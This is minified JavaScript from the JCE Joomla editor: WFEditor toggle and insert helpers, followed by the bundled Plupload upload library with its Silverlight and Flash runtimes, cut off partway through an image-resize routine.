var use_cookies=getVar(s.use_cookies,true);elements=elements||DOM.select('.wfEditor');tinymce.each(elements,function(el){var state=getVar(s.toggle_state,1);var cookie=getVar(tinymce.util.Cookie.get('wf_editor_'+el.id+'_state'),1);var label=getVar(s.toggle_label,'[Toggle Editor]');var div=DOM.create('span',{'role':'button','class':'wf_editor_toggle','aria-labelledby':'wf_editor_'+el.id+'_toggle'},'<span id="wf_editor_'+el.id+'_toggle">'+label+'</span>');DOM.setStyle(div,'cursor','pointer');el.parentNode.insertBefore(div,el);Event.add(div,'click',function(e){self.toggle(el,use_cookies);});if(!state){DOM.removeClass(el,'wfEditor');DOM.addClass(el,'wfNoEditor');self._wrapText(el,true);}else{if(parseInt(cookie)==0){DOM.removeClass(el,'wfEditor');DOM.addClass(el,'wfNoEditor');self._wrapText(el,true);}else{DOM.removeClass(el,'wfNoEditor');DOM.addClass(el,'wfEditor');}}});},toggle:function(el,use_cookies){var self=this,ed=tinyMCE.get(el.id),DOM=tinymce.DOM;var state=!ed||ed.isHidden()?1:0
if(use_cookies){tinymce.util.Cookie.set('wf_editor_'+el.id+'_state',state);}
if(!ed){DOM.removeClass(el,'wfNoEditor');DOM.addClass(el,'wfEditor');}else{self._wrapText(ed.getElement(),true);if(ed.isHidden()){DOM.removeClass(el,'wfNoEditor');DOM.addClass(el,'wfEditor');}else{DOM.removeClass(el,'wfEditor');DOM.addClass(el,'wfNoEditor');}}
tinymce.execCommand('mceToggleEditor',false,el.id);},_wrapText:function(el,s){if(s){el.setAttribute("wrap","soft");}else{el.removeAttribute("wrap");}},showLoader:function(el){tinymce.DOM.addClass('.wfEditor','loading');},hideLoader:function(el){tinymce.DOM.removeClass(el,'loading');},setContent:function(id,html){var ed=tinyMCE.get(id);if(ed){ed.setContent(html);}else{document.getElementById(id).value=html;}},getContent:function(id){var ed=tinyMCE.get(id);if(ed&&!ed.isHidden()){return ed.save();}
return document.getElementById(id).value;},insert:function(el,v){var ed,win=window;if(window.parent.tinymce){win=window.parent;}
if(el){if(typeof el==='string'){el=document.getElementById(el);}
if(el&&el.id){ed=win.tinyMCE.get(el.id);}}
if(!ed){ed=win.tinyMCE.activeEditor;}
if(!ed||ed.isHidden()){this.insertIntoTextarea(el,v);return true;}
if(ed){if(ed.lastSelectionBookmark){ed.selection.moveToBookmark(ed.lastSelectionBookmark);}
ed.execCommand('mceInsertContent',false,v);}},insertIntoTextarea:function(el,v){if(document.selection){el.focus();var s=document.selection.createRange();s.text=v;}else{if(el.selectionStart||el.selectionStart=='0'){var startPos=el.selectionStart;var endPos=el.selectionEnd;el.value=el.value.substring(0,startPos)+v+el.value.substring(endPos,el.value.length);}else{el.value+=v;}}},convertURL:function(url,elm,save,name){var ed=tinymce.EditorManager.activeEditor,s=tinymce.settings,base=s.document_base_url;if(!url){return url;}
if(!s.convert_urls||(elm&&elm.nodeName==='LINK')||url.indexOf('file:')===0){return url;}
if(url===base||url===base.substring(0,base.length-1)||url.charAt(0)==='/'){return url;}
if(s.relative_urls){return ed.documentBaseURI.toRelative(url);}
return ed.documentBaseURI.toAbsolute(url,s.remove_script_host);},indent:function(h){h=h.replace(/\n+/g,'\n');return tinymce.trim(h);}};window.WFEditor=WFEditor;}());editor/libraries/js/manager.full.js000060400000315514150751770440013352 0ustar00/* JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
(function(){var f=0,l=[],n={},j={},a={"<":"lt",">":"gt","&":"amp",'"':"quot","'":"#39"},m=/[<>&\"\']/g,b,c=window.setTimeout,d={},e;function h(){this.returnValue=false}function k(){this.cancelBubble=true}(function(o){var p=o.split(/,/),q,s,r;for(q=0;q<p.length;q+=2){r=p[q+1].split(/ /);for(s=0;s<r.length;s++){j[r[s]]=p[q]}}})("application/msword,doc dot,application/pdf,pdf,application/pgp-signature,pgp,application/postscript,ps ai eps,application/rtf,rtf,application/vnd.ms-excel,xls xlb,application/vnd.ms-powerpoint,ppt pps pot,application/zip,zip,application/x-shockwave-flash,swf swfl,application/vnd.openxmlformats-officedocument.wordprocessingml.document,docx,application/vnd.openxmlformats-officedocument.wordprocessingml.template,dotx,application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,xlsx,application/vnd.openxmlformats-officedocument.presentationml.presentation,pptx,application/vnd.openxmlformats-officedocument.presentationml.template,potx,application/vnd.openxmlformats-officedocument.presentationml.slideshow,ppsx,application/x-javascript,js,application/json,json,audio/mpeg,mpga mpega mp2 mp3,audio/x-wav,wav,audio/mp4,m4a,audio/ogg,ogg oga,image/bmp,bmp,image/gif,gif,image/jpeg,jpeg jpg jpe,image/photoshop,psd,image/png,png,image/svg+xml,svg svgz,image/tiff,tiff tif,text/plain,asc txt text diff log,text/html,htm html xhtml,text/css,css,text/csv,csv,text/rtf,rtf,video/mpeg,mpeg mpg mpe,video/quicktime,qt mov,video/mp4,mp4,video/x-m4v,m4v,video/x-flv,flv,video/x-ms-wmv,wmv,video/avi,avi,video/webm,webm,video/ogg,ogg ogv,video/vnd.rn-realvideo,rv,application/vnd.oasis.opendocument.formula-template,otf,application/octet-stream,exe");var g={VERSION:"@@version@@",STOPPED:1,STARTED:2,QUEUED:1,UPLOADING:2,FAILED:4,DONE:5,GENERIC_ERROR:-100,HTTP_ERROR:-200,IO_ERROR:-300,SECURITY_ERROR:-400,INIT_ERROR:-500,FILE_SIZE_ERROR:-600,FILE_EXTENSION_ERROR:-601,IMAGE_FORMAT_ERROR:-700,IMAGE_MEMORY_ERROR:-701,IMAGE_DIMENSIONS_ERROR:-702,mimeTypes:j,ua:(function(){var s=navigator,r=s.userAgent,t=s.vendor,p,o,q;p=/WebKit/.test(r);q=p&&t.indexOf("Apple")!==-1;o=window.opera&&window.opera.buildNumber;return{windows:navigator.platform.indexOf("Win")!==-1,ie:!p&&!o&&(/MSIE/gi).test(r)&&(/Explorer/gi).test(s.appName),webkit:p,gecko:!p&&/Gecko/.test(r),safari:q,opera:!!o}}()),typeOf:function(p){return({}).toString.call(p).match(/\s([a-z|A-Z]+)/)[1].toLowerCase()},extend:function(o){g.each(arguments,function(p,q){if(q>0){g.each(p,function(s,r){o[r]=s})}});return o},cleanName:function(o){var p,q;q=[/[\300-\306]/g,"A",/[\340-\346]/g,"a",/\307/g,"C",/\347/g,"c",/[\310-\313]/g,"E",/[\350-\353]/g,"e",/[\314-\317]/g,"I",/[\354-\357]/g,"i",/\321/g,"N",/\361/g,"n",/[\322-\330]/g,"O",/[\362-\370]/g,"o",/[\331-\334]/g,"U",/[\371-\374]/g,"u"];for(p=0;p<q.length;p+=2){o=o.replace(q[p],q[p+1])}o=o.replace(/\s+/g,"_");o=o.replace(/[^a-z0-9_\-\.]+/gi,"");return o},addRuntime:function(o,p){p.name=o;l[o]=p;l.push(p);return p},guid:function(){var o=new Date().getTime().toString(32),p;for(p=0;p<5;p++){o+=Math.floor(Math.random()*65535).toString(32)}return(g.guidPrefix||"p")+o+(f++).toString(32)},buildUrl:function(p,o){var q="";g.each(o,function(s,r){q+=(q?"&":"")+encodeURIComponent(r)+"="+encodeURIComponent(s)});if(q){p+=(p.indexOf("?")>0?"&":"?")+q}return p},each:function(r,s){var q,p,o;if(r){q=r.length;if(q===b){for(p in r){if(r.hasOwnProperty(p)){if(s(r[p],p)===false){return}}}}else{for(o=0;o<q;o++){if(s(r[o],o)===false){return}}}}},formatSize:function(o){if(o===b||/\D/.test(o)){return g.translate("N/A")}if(o>1073741824){return Math.round(o/1073741824,1)+" GB"}if(o>1048576){return Math.round(o/1048576,1)+" MB"}if(o>1024){return Math.round(o/1024,1)+" KB"}return o+" b"},getPos:function(p,t){var u=0,s=0,w,v=document,q,r;p=p;t=t||v.body;function o(C){var A,B,z=0,D=0;if(C){B=C.getBoundingClientRect();A=v.compatMode==="CSS1Compat"?v.documentElement:v.body;z=B.left+A.scrollLeft;D=B.top+A.scrollTop}return{x:z,y:D}}if(p&&p.getBoundingClientRect&&((navigator.userAgent.indexOf("MSIE")>0)&&(v.documentMode<8))){q=o(p);r=o(t);return{x:q.x-r.x,y:q.y-r.y}}w=p;while(w&&w!=t&&w.nodeType){u+=w.offsetLeft||0;s+=w.offsetTop||0;w=w.offsetParent}w=p.parentNode;while(w&&w!=t&&w.nodeType){u-=w.scrollLeft||0;s-=w.scrollTop||0;w=w.parentNode}return{x:u,y:s}},getSize:function(o){return{w:o.offsetWidth||o.clientWidth,h:o.offsetHeight||o.clientHeight}},parseSize:function(o){var p;if(typeof(o)=="string"){o=/^([0-9]+)([mgk]?)$/.exec(o.toLowerCase().replace(/[^0-9mkg]/g,""));p=o[2];o=+o[1];if(p=="g"){o*=1073741824}if(p=="m"){o*=1048576}if(p=="k"){o*=1024}}return o},xmlEncode:function(o){return o?(""+o).replace(m,function(p){return a[p]?"&"+a[p]+";":p}):o},toArray:function(q){var p,o=[];for(p=0;p<q.length;p++){o[p]=q[p]}return o},inArray:function(q,r){if(r){if(Array.prototype.indexOf){return Array.prototype.indexOf.call(r,q)}for(var o=0,p=r.length;o<p;o++){if(r[o]===q){return o}}}return-1},addI18n:function(o){return g.extend(n,o)},translate:function(o){return n[o]||o},isEmptyObj:function(o){if(o===b){return true}for(var p in o){return false}return true},hasClass:function(q,p){var o;if(q.className==""){return false}o=new RegExp("(^|\\s+)"+p+"(\\s+|$)");return o.test(q.className)},addClass:function(p,o){if(!g.hasClass(p,o)){p.className=p.className==""?o:p.className.replace(/\s+$/,"")+" "+o}},removeClass:function(q,p){var o=new RegExp("(^|\\s+)"+p+"(\\s+|$)");q.className=q.className.replace(o,function(s,r,t){return r===" "&&t===" "?" ":""})},getStyle:function(p,o){if(p.currentStyle){return p.currentStyle[o]}else{if(window.getComputedStyle){return window.getComputedStyle(p,null)[o]}}},addEvent:function(t,o,u){var s,r,q,p;p=arguments[3];o=o.toLowerCase();if(e===b){e="Plupload_"+g.guid()}if(t.addEventListener){s=u;t.addEventListener(o,s,false)}else{if(t.attachEvent){s=function(){var v=window.event;if(!v.target){v.target=v.srcElement}v.preventDefault=h;v.stopPropagation=k;u(v)};t.attachEvent("on"+o,s)}}if(t[e]===b){t[e]=g.guid()}if(!d.hasOwnProperty(t[e])){d[t[e]]={}}r=d[t[e]];if(!r.hasOwnProperty(o)){r[o]=[]}r[o].push({func:s,orig:u,key:p})},removeEvent:function(t,o){var r,u,q;if(typeof(arguments[2])=="function"){u=arguments[2]}else{q=arguments[2]}o=o.toLowerCase();if(t[e]&&d[t[e]]&&d[t[e]][o]){r=d[t[e]][o]}else{return}for(var p=r.length-1;p>=0;p--){if(r[p].key===q||r[p].orig===u){if(t.removeEventListener){t.removeEventListener(o,r[p].func,false)}else{if(t.detachEvent){t.detachEvent("on"+o,r[p].func)}}r[p].orig=null;r[p].func=null;r.splice(p,1);if(u!==b){break}}}if(!r.length){delete d[t[e]][o]}if(g.isEmptyObj(d[t[e]])){delete d[t[e]];try{delete t[e]}catch(s){t[e]=b}}},removeAllEvents:function(p){var o=arguments[1];if(p[e]===b||!p[e]){return}g.each(d[p[e]],function(r,q){g.removeEvent(p,q,o)})}};g.Uploader=function(s){var p={},v,u=[],r,q=false;v=new g.QueueProgress();s=g.extend({chunk_size:0,multipart:true,multi_selection:true,file_data_name:"file",filters:[]},s);function t(){var x,y=0,w;if(this.state==g.STARTED){for(w=0;w<u.length;w++){if(!x&&u[w].status==g.QUEUED){x=u[w];x.status=g.UPLOADING;if(this.trigger("BeforeUpload",x)){this.trigger("UploadFile",x)}}else{y++}}if(y==u.length){this.stop();this.trigger("UploadComplete",u)}}}function o(){var x,w;v.reset();for(x=0;x<u.length;x++){w=u[x];if(w.size!==b){v.size+=w.size;v.loaded+=w.loaded}else{v.size=b}if(w.status==g.DONE){v.uploaded++}else{if(w.status==g.FAILED){v.failed++}else{v.queued++}}}if(v.size===b){v.percent=u.length>0?Math.ceil(v.uploaded/u.length*100):0}else{v.bytesPerSec=Math.ceil(v.loaded/((+new Date()-r||1)/1000));v.percent=v.size>0?Math.ceil(v.loaded/v.size*100):0}}g.extend(this,{state:g.STOPPED,runtime:"",features:{},files:u,settings:s,total:v,id:g.guid(),init:function(){var B=this,C,y,x,A=0,z;if(typeof(s.preinit)=="function"){s.preinit(B)}else{g.each(s.preinit,function(E,D){B.bind(D,E)})}s.page_url=s.page_url||document.location.pathname.replace(/\/[^\/]+$/g,"/");if(!/^(\w+:\/\/|\/)/.test(s.url)){s.url=s.page_url+s.url}s.chunk_size=g.parseSize(s.chunk_size);s.max_file_size=g.parseSize(s.max_file_size);B.bind("FilesAdded",function(D,G){var F,E,I=0,J,H=s.filters;if(H&&H.length){J=[];g.each(H,function(K){g.each(K.extensions.split(/,/),function(L){if(/^\s*\*\s*$/.test(L)){J.push("\\.*")}else{J.push("\\."+L.replace(new RegExp("["+("/^$.*+?|()[]{}\\".replace(/./g,"\\$&"))+"]","g"),"\\$&"))}})});J=new RegExp(J.join("|")+"$","i")}for(F=0;F<G.length;F++){E=G[F];E.loaded=0;E.percent=0;E.status=g.QUEUED;if(J&&!J.test(E.name)){D.trigger("Error",{code:g.FILE_EXTENSION_ERROR,message:g.translate("File extension error."),file:E});continue}if(E.size!==b&&E.size>s.max_file_size){D.trigger("Error",{code:g.FILE_SIZE_ERROR,message:g.translate("File size error."),file:E});continue}u.push(E);I++}if(I){c(function(){B.trigger("QueueChanged");B.refresh()},1)}else{return false}});if(s.unique_names){B.bind("UploadFile",function(D,E){var G=E.name.match(/\.([^.]+)$/),F="tmp";if(G){F=G[1]}E.target_name=E.id+"."+F})}B.bind("UploadProgress",function(D,E){E.percent=E.size>0?Math.ceil(E.loaded/E.size*100):100;o()});B.bind("StateChanged",function(D){if(D.state==g.STARTED){r=(+new Date())}else{if(D.state==g.STOPPED){for(C=D.files.length-1;C>=0;C--){if(D.files[C].status==g.UPLOADING){D.files[C].status=g.QUEUED;o()}}}}});B.bind("QueueChanged",o);B.bind("Error",function(D,E){if(E.file){E.file.status=g.FAILED;o();if(D.state==g.STARTED){c(function(){t.call(B)},1)}}});B.bind("FileUploaded",function(D,E){E.status=g.DONE;E.loaded=E.size;D.trigger("UploadProgress",E);c(function(){t.call(B)},1)});if(s.runtimes){y=[];z=s.runtimes.split(/\s?,\s?/);for(C=0;C<z.length;C++){if(l[z[C]]){y.push(l[z[C]])}}}else{y=l}function w(){var G=y[A++],F,D,E;if(G){F=G.getFeatures();D=B.settings.required_features;if(D){D=D.split(",");for(E=0;E<D.length;E++){if(!F[D[E]]){w();return}}}G.init(B,function(H){if(H&&H.success){B.features=F;B.runtime=G.name;B.trigger("Init",{runtime:G.name});B.trigger("PostInit");B.refresh()}else{w()}})}else{B.trigger("Error",{code:g.INIT_ERROR,message:g.translate("Init error.")})}}w();if(typeof(s.init)=="function"){s.init(B)}else{g.each(s.init,function(E,D){B.bind(D,E)})}},refresh:function(){this.trigger("Refresh")},start:function(){if(u.length&&this.state!=g.STARTED){this.state=g.STARTED;this.trigger("StateChanged");t.call(this)}},stop:function(){if(this.state!=g.STOPPED){this.state=g.STOPPED;this.trigger("CancelUpload");this.trigger("StateChanged")}},disableBrowse:function(){q=arguments[0]!==b?arguments[0]:true;this.trigger("DisableBrowse",q)},getFile:function(x){var w;for(w=u.length-1;w>=0;w--){if(u[w].id===x){return u[w]}}},removeFile:function(x){var w;for(w=u.length-1;w>=0;w--){if(u[w].id===x.id){return this.splice(w,1)[0]}}},splice:function(y,w){var x;x=u.splice(y===b?0:y,w===b?u.length:w);this.trigger("FilesRemoved",x);this.trigger("QueueChanged");return x},trigger:function(x){var z=p[x.toLowerCase()],y,w;if(z){w=Array.prototype.slice.call(arguments);w[0]=this;for(y=0;y<z.length;y++){if(z[y].func.apply(z[y].scope,w)===false){return false}}}return true},hasEventListener:function(w){return!!p[w.toLowerCase()]},bind:function(w,y,x){var z;w=w.toLowerCase();z=p[w]||[];z.push({func:y,scope:x||this});p[w]=z},unbind:function(w){w=w.toLowerCase();var z=p[w],x,y=arguments[1];if(z){if(y!==b){for(x=z.length-1;x>=0;x--){if(z[x].func===y){z.splice(x,1);break}}}else{z=[]}if(!z.length){delete p[w]}}},unbindAll:function(){var w=this;g.each(p,function(y,x){w.unbind(x)})},destroy:function(){this.stop();this.trigger("Destroy");this.unbindAll()}})};g.File=function(r,p,q){var o=this;o.id=r;o.name=p;o.size=q;o.loaded=0;o.percent=0;o.status=0};g.Runtime=function(){this.getFeatures=function(){};this.init=function(o,p){}};g.QueueProgress=function(){var o=this;o.size=0;o.loaded=0;o.uploaded=0;o.failed=0;o.queued=0;o.percent=0;o.bytesPerSec=0;o.reset=function(){o.size=o.loaded=o.uploaded=o.failed=o.queued=o.percent=o.bytesPerSec=0}};g.runtimes={};window.plupload=g})();(function(g,b,d,e){var a={},h={};function c(o){var n,m=typeof o,j,l,k;if(o===e||o===null){return"null"}if(m==="string"){n="\bb\tt\nn\ff\rr\"\"''\\\\";return'"'+o.replace(/([\u0080-\uFFFF\x00-\x1f\"])/g,function(r,q){var p=n.indexOf(q);if(p+1){return"\\"+n.charAt(p+1)}r=q.charCodeAt().toString(16);return"\\u"+"0000".substring(r.length)+r})+'"'}if(m=="object"){j=o.length!==e;n="";if(j){for(l=0;l<o.length;l++){if(n){n+=","}n+=c(o[l])}n="["+n+"]"}else{for(k in o){if(o.hasOwnProperty(k)){if(n){n+=","}n+=c(k)+":"+c(o[k])}}n="{"+n+"}"}return n}return""+o}function f(s){var v=false,j=null,o=null,k,l,m,u,n,q=0;try{try{o=new ActiveXObject("AgControl.AgControl");if(o.IsVersionSupported(s)){v=true}o=null}catch(r){var p=navigator.plugins["Silverlight Plug-In"];if(p){k=p.description;if(k==="1.0.30226.2"){k="2.0.30226.2"}l=k.split(".");while(l.length>3){l.pop()}while(l.length<4){l.push(0)}m=s.split(".");while(m.length>4){m.pop()}do{u=parseInt(m[q],10);n=parseInt(l[q],10);q++}while(q<m.length&&u===n);if(u<=n&&!isNaN(u)){v=true}}}}catch(t){v=false}return v}d.silverlight={trigger:function(n,k){var m=a[n],l,j;if(m){j=d.toArray(arguments).slice(1);j[0]="Silverlight:"+k;setTimeout(function(){m.trigger.apply(m,j)},0)}}};d.runtimes.Silverlight=d.addRuntime("silverlight",{getFeatures:function(){return{jpgresize:true,pngresize:true,chunks:true,progress:true,multipart:true,multi_selection:true}},init:function(p,q){var o,m="",n=p.settings.filters,l,k=b.body;if(!f("2.0.31005.0")||(g.opera&&g.opera.buildNumber)){q({success:false});return}h[p.id]=false;a[p.id]=p;o=b.createElement("div");o.id=p.id+"_silverlight_container";d.extend(o.style,{position:"absolute",top:"0px",background:p.settings.shim_bgcolor||"transparent",zIndex:99999,width:"100px",height:"100px",overflow:"hidden",opacity:p.settings.shim_bgcolor||b.documentMode>8?"":0.01});o.className="plupload silverlight";if(p.settings.container){k=b.getElementById(p.settings.container);if(d.getStyle(k,"position")==="static"){k.style.position="relative"}}k.appendChild(o);for(l=0;l<n.length;l++){m+=(m!=""?"|":"")+n[l].title+" | *."+n[l].extensions.replace(/,/g,";*.")}o.innerHTML='<object id="'+p.id+'_silverlight" data="data:application/x-silverlight," type="application/x-silverlight-2" style="outline:none;" width="1024" height="1024"><param name="source" value="'+p.settings.silverlight_xap_url+'"/><param name="background" value="Transparent"/><param name="windowless" value="true"/><param name="enablehtmlaccess" value="true"/><param name="initParams" value="id='+p.id+",filter="+m+",multiselect="+p.settings.multi_selection+'"/></object>';function j(){return b.getElementById(p.id+"_silverlight").content.Upload}p.bind("Silverlight:Init",function(){var r,s={};if(h[p.id]){return}h[p.id]=true;p.bind("Silverlight:StartSelectFiles",function(t){r=[]});p.bind("Silverlight:SelectFile",function(t,w,u,v){var x;x=d.guid();s[x]=w;s[w]=x;r.push(new d.File(x,u,v))});p.bind("Silverlight:SelectSuccessful",function(){if(r.length){p.trigger("FilesAdded",r)}});p.bind("Silverlight:UploadChunkError",function(t,w,u,x,v){p.trigger("Error",{code:d.IO_ERROR,message:"IO Error.",details:v,file:t.getFile(s[w])})});p.bind("Silverlight:UploadFileProgress",function(t,x,u,w){var v=t.getFile(s[x]);if(v.status!=d.FAILED){v.size=w;v.loaded=u;t.trigger("UploadProgress",v)}});p.bind("Refresh",function(t){var u,v,w;u=b.getElementById(t.settings.browse_button);if(u){v=d.getPos(u,b.getElementById(t.settings.container));w=d.getSize(u);d.extend(b.getElementById(t.id+"_silverlight_container").style,{top:v.y+"px",left:v.x+"px",width:w.w+"px",height:w.h+"px"})}});p.bind("Silverlight:UploadChunkSuccessful",function(t,w,u,z,y){var x,v=t.getFile(s[w]);x={chunk:u,chunks:z,response:y};t.trigger("ChunkUploaded",v,x);if(v.status!=d.FAILED&&t.state!==d.STOPPED){j().UploadNextChunk()}if(u==z-1){v.status=d.DONE;t.trigger("FileUploaded",v,{response:y})}});p.bind("Silverlight:UploadSuccessful",function(t,w,u){var v=t.getFile(s[w]);v.status=d.DONE;t.trigger("FileUploaded",v,{response:u})});p.bind("FilesRemoved",function(t,v){var u;for(u=0;u<v.length;u++){j().RemoveFile(s[v[u].id])}});p.bind("UploadFile",function(t,v){var w=t.settings,u=w.resize||{};j().UploadFile(s[v.id],t.settings.url,c({name:v.target_name||v.name,mime:d.mimeTypes[v.name.replace(/^.+\.([^.]+)/,"$1").toLowerCase()]||"application/octet-stream",chunk_size:w.chunk_size,image_width:u.width,image_height:u.height,image_quality:u.quality||90,multipart:!!w.multipart,multipart_params:w.multipart_params||{},file_data_name:w.file_data_name,headers:w.headers}))});p.bind("CancelUpload",function(){j().CancelUpload()});p.bind("Silverlight:MouseEnter",function(t){var u,v;u=b.getElementById(p.settings.browse_button);v=t.settings.browse_button_hover;if(u&&v){d.addClass(u,v)}});p.bind("Silverlight:MouseLeave",function(t){var u,v;u=b.getElementById(p.settings.browse_button);v=t.settings.browse_button_hover;if(u&&v){d.removeClass(u,v)}});p.bind("Silverlight:MouseLeftButtonDown",function(t){var u,v;u=b.getElementById(p.settings.browse_button);v=t.settings.browse_button_active;if(u&&v){d.addClass(u,v);d.addEvent(b.body,"mouseup",function(){d.removeClass(u,v)})}});p.bind("Sliverlight:StartSelectFiles",function(t){var u,v;u=b.getElementById(p.settings.browse_button);v=t.settings.browse_button_active;if(u&&v){d.removeClass(u,v)}});p.bind("DisableBrowse",function(t,u){j().DisableBrowse(u)});p.bind("Destroy",function(t){var u;d.removeAllEvents(b.body,t.id);delete h[t.id];delete a[t.id];u=b.getElementById(t.id+"_silverlight_container");if(u){k.removeChild(u)}});q({success:true})})}})})(window,document,plupload);(function(f,b,d,e){var a={},g={};function c(){var h;try{h=navigator.plugins["Shockwave Flash"];h=h.description}catch(k){try{h=new ActiveXObject("ShockwaveFlash.ShockwaveFlash").GetVariable("$version")}catch(j){h="0.0"}}h=h.match(/\d+/g);return parseFloat(h[0]+"."+h[1])}d.flash={trigger:function(k,h,j){setTimeout(function(){var n=a[k],m,l;if(n){n.trigger("Flash:"+h,j)}},0)}};d.runtimes.Flash=d.addRuntime("flash",{getFeatures:function(){return{jpgresize:true,pngresize:true,maxWidth:8091,maxHeight:8091,chunks:true,progress:true,multipart:true,multi_selection:true}},init:function(n,p){var l,m,h=0,j=b.body;if(c()<10){p({success:false});return}g[n.id]=false;a[n.id]=n;l=b.getElementById(n.settings.browse_button);m=b.createElement("div");m.id=n.id+"_flash_container";d.extend(m.style,{position:"absolute",top:"0px",background:n.settings.shim_bgcolor||"transparent",zIndex:99999,width:"100%",height:"100%"});m.className="plupload flash";if(n.settings.container){j=b.getElementById(n.settings.container);if(d.getStyle(j,"position")==="static"){j.style.position="relative"}}j.appendChild(m);(function(){var q,r;q='<object id="'+n.id+'_flash" type="application/x-shockwave-flash" data="'+n.settings.flash_swf_url+'" ';if(d.ua.ie){q+='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" '}q+='width="100%" height="100%" style="outline:0"><param name="movie" value="'+n.settings.flash_swf_url+'" /><param name="flashvars" value="id='+escape(n.id)+'" /><param name="wmode" value="transparent" /><param name="allowscriptaccess" value="always" /></object>';if(d.ua.ie){r=b.createElement("div");m.appendChild(r);r.outerHTML=q;r=null}else{m.innerHTML=q}}());function o(){return b.getElementById(n.id+"_flash")}function k(){if(h++>5000){p({success:false});return}if(g[n.id]===false){setTimeout(k,1)}}k();l=m=null;n.bind("Destroy",function(q){var r;d.removeAllEvents(b.body,q.id);delete g[q.id];delete a[q.id];r=b.getElementById(q.id+"_flash_container");if(r){j.removeChild(r)}});n.bind("Flash:Init",function(){var s={},r;try{o().setFileFilters(n.settings.filters,n.settings.multi_selection)}catch(q){p({success:false});return}if(g[n.id]){return}g[n.id]=true;n.bind("UploadFile",function(t,v){var w=t.settings,u=n.settings.resize||{};o().uploadFile(s[v.id],w.url,{name:v.target_name||v.name,mime:d.mimeTypes[v.name.replace(/^.+\.([^.]+)/,"$1").toLowerCase()]||"application/octet-stream",chunk_size:w.chunk_size,width:u.width,height:u.height,quality:u.quality,multipart:w.multipart,multipart_params:w.multipart_params||{},file_data_name:w.file_data_name,format:/\.(jpg|jpeg)$/i.test(v.name)?"jpg":"png",headers:w.headers,urlstream_upload:w.urlstream_upload})});n.bind("CancelUpload",function(){o().cancelUpload()});n.bind("Flash:UploadProcess",function(u,t){var v=u.getFile(s[t.id]);if(v.status!=d.FAILED){v.loaded=t.loaded;v.size=t.size;u.trigger("UploadProgress",v)}});n.bind("Flash:UploadChunkComplete",function(t,v){var w,u=t.getFile(s[v.id]);w={chunk:v.chunk,chunks:v.chunks,response:v.text};t.trigger("ChunkUploaded",u,w);if(u.status!==d.FAILED&&t.state!==d.STOPPED){o().uploadNextChunk()}if(v.chunk==v.chunks-1){u.status=d.DONE;t.trigger("FileUploaded",u,{response:v.text})}});n.bind("Flash:SelectFiles",function(t,w){var v,u,x=[],y;for(u=0;u<w.length;u++){v=w[u];y=d.guid();s[y]=v.id;s[v.id]=y;x.push(new d.File(y,v.name,v.size))}if(x.length){n.trigger("FilesAdded",x)}});n.bind("Flash:SecurityError",function(t,u){n.trigger("Error",{code:d.SECURITY_ERROR,message:d.translate("Security error."),details:u.message,file:n.getFile(s[u.id])})});n.bind("Flash:GenericError",function(t,u){n.trigger("Error",{code:d.GENERIC_ERROR,message:d.translate("Generic error."),details:u.message,file:n.getFile(s[u.id])})});n.bind("Flash:IOError",function(t,u){n.trigger("Error",{code:d.IO_ERROR,message:d.translate("IO error."),details:u.message,file:n.getFile(s[u.id])})});n.bind("Flash:ImageError",function(t,u){n.trigger("Error",{code:parseInt(u.code,10),message:d.translate("Image error."),file:n.getFile(s[u.id])})});n.bind("Flash:StageEvent:rollOver",function(t){var u,v;u=b.getElementById(n.settings.browse_button);v=t.settings.browse_button_hover;if(u&&v){d.addClass(u,v)}});n.bind("Flash:StageEvent:rollOut",function(t){var u,v;u=b.getElementById(n.settings.browse_button);v=t.settings.browse_button_hover;if(u&&v){d.removeClass(u,v)}});n.bind("Flash:StageEvent:mouseDown",function(t){var u,v;u=b.getElementById(n.settings.browse_button);v=t.settings.browse_button_active;if(u&&v){d.addClass(u,v);d.addEvent(b.body,"mouseup",function(){d.removeClass(u,v)},t.id)}});n.bind("Flash:StageEvent:mouseUp",function(t){var u,v;u=b.getElementById(n.settings.browse_button);v=t.settings.browse_button_active;if(u&&v){d.removeClass(u,v)}});n.bind("Flash:ExifData",function(t,u){n.trigger("ExifData",n.getFile(s[u.id]),u.data)});n.bind("Flash:GpsData",function(t,u){n.trigger("GpsData",n.getFile(s[u.id]),u.data)});n.bind("QueueChanged",function(t){n.refresh()});n.bind("FilesRemoved",function(t,v){var u;for(u=0;u<v.length;u++){o().removeFile(s[v[u].id])}});n.bind("StateChanged",function(t){n.refresh()});n.bind("Refresh",function(t){var u,v,w;o().setFileFilters(n.settings.filters,n.settings.multi_selection);u=b.getElementById(t.settings.browse_button);if(u){v=d.getPos(u,b.getElementById(t.settings.container));w=d.getSize(u);d.extend(b.getElementById(t.id+"_flash_container").style,{top:v.y+"px",left:v.x+"px",width:w.w+"px",height:w.h+"px"})}});n.bind("DisableBrowse",function(t,u){o().disableBrowse(u)});p({success:true})})}})})(window,document,plupload);(function(h,k,j,e){var c={},g;function m(o,p){var n;if("FileReader"in h){n=new FileReader();n.readAsDataURL(o);n.onload=function(){p(n.result)}}else{return p(o.getAsDataURL())}}function l(o,p){var n;if("FileReader"in h){n=new FileReader();n.readAsBinaryString(o);n.onload=function(){p(n.result)}}else{return p(o.getAsBinary())}}function d(r,p,n,v){var q,o,u,s,t=this;m(c[r.id],function(w){q=k.createElement("canvas");q.style.display="none";k.body.appendChild(q);o=q.getContext("2d");q.style.imageRendering="optimizeQuality";u=new Image();u.onerror=u.onabort=function(){v({success:false})};u.onload=function(){var B,x,z,y,A;if(!p.width){p.width=u.width}if(!p.height){p.height=u.height}s=Math.min(p.width/u.width,p.height/u.height);if(s<1||(s===1&&n==="image/jpeg")){B=Math.round(u.width*s);x=Math.round(u.height*s);q.width=B;q.height=x;o.drawImage(u,0,0,B,x);if(n==="image/jpeg"){y=new f(atob(w.substring(w.indexOf("base64,")+7)));if(y.headers&&y.headers.length){A=new 